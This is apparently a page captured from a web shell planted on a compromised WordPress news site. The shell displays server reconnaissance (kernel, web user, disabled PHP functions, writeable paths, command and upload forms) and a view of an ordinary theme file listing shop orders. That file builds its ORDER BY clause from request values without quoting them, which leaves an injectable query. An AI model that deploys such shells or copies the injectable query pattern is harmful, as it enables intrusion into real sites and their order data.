AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Settings/OrdersListTable.php
<?php 
namespace B2\Modules\Settings;

use \WP_List_Table;

if( ! class_exists( 'WP_List_Table' ) ) {
	require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
}

//邀请码表格
class OrdersListTable extends WP_List_Table {

    function __construct() {
        global $status, $page;

        parent::__construct(array(
            'singular' => 'id',
            'ajax' => false  
        ));
    }

    function get_shop_order($key,$val,$clean = false){

        if($key == 'order_type'){
            $arr = b2_order_type();
        }
    
        if($key == 'order_commodity'){
            $arr = array(
                '0'=>__('虚拟物品','b2'),
                '1'=>__('实物','b2'),
                '-1'=>__('合并付款','b2')
            );
        }
    
        if($key == 'order_state'){
            $arr = array(
                'w'=>'<span style="color:#333">'.__('等待付款','b2').'</span>',
                'f'=>'<span style="color:red">'.__('已付款未发货','b2').'</span>',
                'c'=>'<span style="color:blue">'.__('已发货','b2').'</span>',
                's'=>'<span style="color:#999">'.__('已删除','b2').'</span>',
                'q'=>'<span style="color:green">'.__('已签收','b2').'</span>',
                't'=>'<span style="color:#333">'.__('已退款','b2').'</span>',
            );

            if($clean){
                $arr = array(
                    'w'=>__('等待付款','b2'),
                    'f'=>__('已付款未发货','b2'),
                    'c'=>__('已发货','b2'),
                    's'=>__('已删除','b2'),
                    'q'=>__('已签收','b2'),
                    't'=>__('已退款','b2'),
                );
            }
        }

        if($key == 'pay_type'){
            $arr = array(
                'credit'=>'<span>'.__('积分','b2').'</span>',
                'balance'=>'<span>'.sprintf(__('%s支付','b2'),B2_MONEY_NAME).'</span>',
                'alipay_normal'=>'<span>'.__('支付宝官方','b2').'</span>',
                'card'=>'<span>'.__('卡密支付','b2').'</span>',
                'xorpay'=>'<span>'.__('xorpay支付','b2').'</span>',
                'wecatpay_normal'=>'<span>'.__('微信官方','b2').'</span>',
                'xorpay'=>'<span>'.__('xorpay支付','b2').'</span>',
                'xunhu'=>'<span>'.__('迅虎支付','b2').'</span>',
                'alipay_hupijiao'=>'<span>'.__('虎皮椒-支付宝','b2').'</span>',
                'wecatpay_hupijiao'=>'<span>'.__('虎皮椒-微信','b2').'</span>',
                'payjs'=>'<span>'.__('payjs支付','b2').'</span>',
                'mapay'=>'<span>'.__('码支付','b2').'</span>',
                'yipay'=>'<span>'.__('易支付','b2').'</span>',
                'paypal'=>'<span>PayPal</span>',
                'pay020'=>'<span>020pay</span>',
                'suibian'=>__('随便付','b2'),
                'baidu'=>__('百度小程序支付','b2'),
                'toutiao'=>__('字节小程序支付','b2')
            );
            if($clean){
                $arr = array(
                    'credit'=>__('积分','b2'),
                    'balance'=>sprintf(__('%s支付','b2'),B2_MONEY_NAME),
                    'alipay_normal'=>__('支付宝官方','b2'),
                    'card'=>__('卡密支付','b2'),
                    'xorpay'=>__('xorpay支付','b2'),
                    'wecatpay_normal'=>__('微信官方','b2'),
                    'xorpay'=>__('xorpay支付','b2'),
                    'xunhu'=>__('迅虎支付','b2'),
                    'alipay_hupijiao'=>__('虎皮椒-支付宝','b2'),
                    'wecatpay_hupijiao'=>__('虎皮椒-微信','b2'),
                    'payjs'=>__('payjs支付','b2'),
                    'mapay'=>__('码支付','b2'),
                    'yipay'=>__('易支付','b2'),
                    'paypal'=>'PayPal',
                    'pay020'=>'020pay',
                    'suibian'=>__('随便付','b2'),
                    'baidu'=>__('百度小程序支付','b2'),
                    'toutiao'=>__('字节小程序支付','b2')
                );
            }
        }
    
        return isset($arr[$val]) ? $arr[$val] : '';
    }

    function column_default($item, $column_name) {

        switch ($column_name) {
            case 'user_id':
                $user_data = get_userdata($item->$column_name);
                if($user_data){
                    return '<a href="'.get_author_posts_url($item->$column_name).'" target="_blank">'.$user_data->display_name.'</a>';
                }else{
                    return __('游客','b2');
                }
            case 'post_id':

                if($item->$column_name == -1){
                    return __('合并付款临时订单','b2');
                }else{

                    $title = \B2\Modules\Common\Orders::get_order_name($item->order_type,(int)$item->$column_name);

                    $type = get_post_meta($item->$column_name,'zrz_shop_type',true);

                    $shop_multi = get_post_meta($item->$column_name,'zrz_shop_multi',true);

                    if($type == 'normal' && $shop_multi == 1){

                        $json = json_decode(stripslashes(urldecode($item->order_value)),true );

                        if($json){

                            $html = '';

                            foreach ($json['desc'] as $key => $value) {
                                $html .= '<p><span>'.json_decode(str_replace('u','\\u','"'.$value['name'].'"')).'</span>:<span>'.json_decode(str_replace('u','\\u','"'.$value['value'].'"')).'</span></p>';
                            }

                            return '<div><a href="'.$title['title']['link'].'" target="_blank">'.$title['title']['name'].'</a><div>'.$html.'</div></div>';
                        }

                    }else{
                        return '<a href="'.$title['title']['link'].'" target="_blank">'.$title['title']['name'].'</a>';
                    }
                }
            case 'post_name':
                $post_id = $item->post_id;
                $name = get_post_field('post_name',$post_id);
                return urldecode($name);
                // var_dump($post_id);
                // return '<a href="'.get_permalink($item->$column_name).'" target="_blank">'.get_the_title($item->$column_name).'</a>';
            case 'order_type':
                return $this->get_shop_order('order_type',$item->$column_name);
            case 'order_commodity':
                return $this->get_shop_order('order_commodity',$item->$column_name);
            case 'order_state':
                $item_type = $item->order_type;
                return $this->get_shop_order('order_state',$item->$column_name);
            case 'money_type':
                return (int)$item->$column_name === 0 ? __('货币','b2') : __('积分','b2');
            case 'pay_type':
                return  $this->get_shop_order('pay_type',$item->$column_name);
            case 'tracking_number':
                $track = maybe_unserialize($item->$column_name);
                $tk = b2_express_types();
                $tk = isset($track['type']) && isset($tk[$track['type']]) ? $tk[$track['type']] : '';
                $nb = isset($track['number']) ? $track['number'] : '';
                if($tk && $nb){
                    return '<p>'.$tk.'</p><p>'.$nb.'</p>';
                }

                return __('没有运单信息','b2');
            case 'order_address':
            case 'order_content':
            case 'order_value':
            case 'order_key':
            case 'order_date':
            case 'order_price':
            case 'order_total':
            case 'order_count':
            case 'id':
            case 'order_id':
                return $item->$column_name;
        }
    }
    
    function get_status_count(){


        global $wpdb;
        $table_name = $wpdb->prefix . 'zrz_order';

        $start = isset($_REQUEST['start']) && $_REQUEST['start'] ? $_REQUEST['start'] : '';
        $end = isset($_REQUEST['end']) && $_REQUEST['end'] ? $_REQUEST['end'] : '';

        $query = '';

        if($start && $end){
            $query = $wpdb->prepare(" WHERE `order_date` >= %s AND `order_date` <= %s",$start,$end);
        }

        $data = $wpdb->get_results("
            select 
            COUNT(id) as total,
            COUNT(IF(order_state = 'w',true,null)) as w,
            COUNT(IF(order_state = 'q',true,null)) as q,
            COUNT(IF(order_state = 'f',true,null)) as f,
            COUNT(IF(order_state = 'c',true,null)) as c,
            COUNT(IF(order_state = 's',true,null)) as s,
            COUNT(IF(order_state = 't',true,null)) as t,
            COUNT(IF(order_type = 'c',true,null)) as cj,
            COUNT(IF(order_type = 'd',true,null)) as d,
            COUNT(IF(order_type = 'g',true,null)) as g,
            COUNT(IF(order_type = 'gx',true,null)) as gx,
            COUNT(IF(order_type = 'w',true,null)) as wz,
            COUNT(IF(order_type = 'ds',true,null)) as ds,
            COUNT(IF(order_type = 'x',true,null)) as x,
            COUNT(IF(order_type = 'cz',true,null)) as cz,
            COUNT(IF(order_type = 'vip',true,null)) as vip,
            COUNT(IF(order_type = 'cg',true,null)) as cg,
            COUNT(IF(order_type = 'v',true,null)) as v,
            COUNT(IF(order_type = 'verify',true,null)) as verify,
            COUNT(IF(order_type = 'mission',true,null)) as mission,
            COUNT(IF(order_type = 'coupon',true,null)) as coupon,
            COUNT(IF(order_type = 'circle_join',true,null)) as circle_join,
            COUNT(IF(order_type = 'circle_read_answer_pay',true,null)) as circle_read_answer_pay,
            COUNT(IF(order_type = 'circle_hidden_content_pay',true,null)) as circle_hidden_content_pay,
            COUNT(IF(order_type = 'custom',true,null)) as custom,
            COUNT(IF(order_type = 'infomation_sticky',true,null)) as infomation_sticky
            from $table_name $query
        ",ARRAY_A);

        
        return $data;


        // $cache = wp_cache_get('order_count_'.$status, 'b2_order_data');
        // if($cache) return  $cache;

        // global $wpdb;
        // $table_name = $wpdb->prefix . 'zrz_order';
        // if($status === 'all'){
        //     $rowcount = $wpdb->get_var("SELECT COUNT(*) FROM $table_name");
        // }elseif($status === 'payed'){
        //     $rowcount = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table_name WHERE order_state != %s",'w'));
        // }elseif($status === 'wf'){
        //     $rowcount = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table_name WHERE order_state = %s",'w'));
        // }elseif($status === 'c' || $status === 'f'){
        //     $rowcount = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table_name WHERE order_state = %s",$status));
        // }else{
        //     $rowcount = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table_name WHERE order_type = %s",$status));
        // }

        // wp_cache_set('order_count_'.$status,$rowcount,'b2_order_data',0);
        
        // return $rowcount ? $rowcount : 0;
    }

    function delete_coupons($ids){
        global $wpdb;
        $table_name = $wpdb->prefix . 'zrz_order';
       
        if(is_array($ids)){
            foreach ($ids as $id) {
                $wpdb->query(
                    $wpdb->prepare( 
                        "DELETE FROM $table_name WHERE id = %d",
                        $id
                    )
                );
            }
        }
        
    }

    function column_id($item){

        $paged = isset($_REQUEST['paged']) ? $_REQUEST['paged'] : 1;
        $type = isset($_REQUEST['order_type']) ? $_REQUEST['order_type'] : '';
        $status = isset($_REQUEST['order_state']) ? $_REQUEST['order_state'] : '';

        $actions = array(
            'edit'    => sprintf('<a href="?page=%s&action=%s&id=%s&paged=%s&order_type=%s&order_state=%s">'.__('编辑','b2').'</a>','b2_orders_list','edit',$item->id,$paged,$type,$status),
            'delete'    => sprintf('<a onclick="return confirm(\'您确定删除该订单吗?\')" href="?page=%s&action=%s&id=%s&paged=%s">'.__('删除','b2').'</a>','b2_orders_list','delete',$item->id,$paged)
        );

        return sprintf('%1$s %2$s',
            $item->id,
            $this->row_actions($actions)
        );
    }

    function column_cb($item){

        return sprintf(
            '<input type="checkbox" name="id[]" value="%1$s" />',
            $item->id
        );
    }

    function get_columns() {
        return array(
            'cb' => '<input type="checkbox" />',
            'id'=>__('ID','b2'),
            'order_id' => __('订单号','b2'),
            'user_id' => __('买家','b2'),
            'post_id' => __('商品','b2'),
            'post_name' => __('商品别名','b2'),
            'order_type' => __('订单类型','b2'),
            'order_commodity'=>__('商品类型','b2'),
            'order_state'=>__('订单状态','b2'),
            'order_date' => __('订单时间','b2'),
            'order_count' => __('订单数量','b2'),
            'order_price'=>__('产品单价','b2'),
            'order_total'=>__('订单总价'),
            'money_type'=>__('货币类型','b2'),
            'pay_type'=>__('支付渠道','b2'),
            'tracking_number'=>__('运单信息','b2'),
            'order_content'=>__('买家留言','b2'),
            'order_address'=>__('订单地址','b2')
        );
    }

    function get_sortable_columns() {
        $sortable_columns = array(
            'id'=>array('id',false),
            'order_id' => array('order_id',false),
            'user_id' => array('user_id',false),
            'post_id' => array('post_id',false),
            'post_name' => array('post_name',false),
            'order_type' => array('order_type',false),
            'order_commodity'=>array('order_commodity',false),
            'order_state'=>array('order_state',false),
            'order_date' => array('order_date',false),
            'order_count' => array('order_count',false),
            'order_price'=>array('order_price',false),
            'order_total'=>array('order_total',false),
            'money_type'=>array('money_type',false),
            'pay_type'=>array('pay_type',false),
            'tracking_number'=>array('tracking_number',false),
            'order_content'=>array('order_content',false),
            'order_address'=>array('order_address',false)
        );
        return $sortable_columns;
    }

    function display_tablenav( $which ) {

        ?>
        <div class="tablenav <?php echo esc_attr( $which ); ?>">

            <?php if ( $this->has_items() ): ?>
                <div class="alignleft actions bulkactions">
                    <?php $this->bulk_actions( $which ); ?>
                </div>
            <?php endif;
                $this->extra_tablenav( $which );
                $this->pagination( $which );
            ?>

            <br class="clear" />
        </div>
        <?php
    }

    function get_bulk_actions() {
        $actions = array(
            'delete'    => __('删除','b2'),
            'edit'=>__('编辑','b2')
        );
        return $actions;
    }

    function prepare_items($val ='') {

        $this->process_bulk_action();

        global $wpdb; 
        $table_name = $wpdb->prefix . 'zrz_order';

        $query = "SELECT * FROM $table_name";

        //搜索
        $s = isset($_REQUEST["s"]) ? esc_sql($_REQUEST["s"]) : '';
        if(!empty($s)){
            $query.= $wpdb->prepare("
                WHERE order_id LIKE %s
                OR user_id LIKE %s
                ",
                '%'.$s.'%', '%'.$s.'%'
            );
        }

        //状态筛选
        $status = isset($_REQUEST["order_state"]) ? esc_sql($_REQUEST["order_state"]) : '';
        if ($status && $status != 'all') {
            $w = 'WHERE';
            if(strpos($query,'WHERE') !== false){
                $w = 'AND';
            }

            if($status === 'total'){
                $query.= $wpdb->prepare(" $w `order_state` != %s",'w');
            }elseif($status === 'w'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'w');
            }elseif($status === 'f'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'f');
            }elseif($status === 'c'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'c');
            }elseif($status === 'q'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'q');
            }elseif($status === 't'){
                $query.= $wpdb->prepare(" $w `order_state` = %s",'t');
            }

        }

        $start = isset($_REQUEST['start']) && $_REQUEST['start'] ? $_REQUEST['start'] : '';
        $end = isset($_REQUEST['end']) && $_REQUEST['end'] ? $_REQUEST['end'] : '';

        if($start && $end){
            $w = 'WHERE';
            if(strpos($query,'WHERE') !== false){
                $w = 'AND';
            }
            $query.= $wpdb->prepare(" $w `order_date` >= %s AND `order_date` <= %s",$start,$end);
        }

        //筛选商品类型
        $type = isset($_REQUEST["order_type"]) ? esc_sql($_REQUEST["order_type"]) : '';
        if ($type) {

            if($type == 'wz') $type = 'w';
            if(strpos($query,'WHERE') !== false){
                $query.= $wpdb->prepare(" AND `order_type`= %s",$type);
            }else{
                $query.= $wpdb->prepare(" WHERE `order_type`= %s",$type);
            }
        }

        //排序
        $orderby = isset($_REQUEST["orderby"]) ? esc_sql($_REQUEST["orderby"]) : 'id';
        $order = isset($_REQUEST["order"]) ? esc_sql($_REQUEST["order"]) : 'DESC';
        if (!empty($orderby) & !empty($order)) {
            $query.=' ORDER BY ' . $orderby . ' ' . $order;
        }

        $total_query = str_replace('*','COUNT(*)',$query);

  
        $totalitems = $wpdb->get_var($total_query);

        $perpage = 20;

        $paged = isset($_REQUEST["paged"]) ? esc_sql($_REQUEST["paged"]) : '';

        if (empty($paged) || !is_numeric($paged) || $paged <= 0 || !empty($s)) {
            $paged = 1;
        }

        $totalpages = ceil($totalitems / $perpage);

        if (!empty($paged) && !empty($perpage)) {
            $offset = ($paged - 1) * $perpage;
            $query.=' LIMIT ' . (int) $offset . ',' . (int) $perpage;
        }

        $this->set_pagination_args(array(
            "total_items" => $totalitems,
            "total_pages" => $totalpages,
            "per_page" => $perpage,
        ));
    
        $columns = $this->get_columns();
        $hidden = array();
        $sortable = $this->get_sortable_columns();

        $this->_column_headers = array($columns, $hidden, $sortable);

        $this->items = $wpdb->get_results($query);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit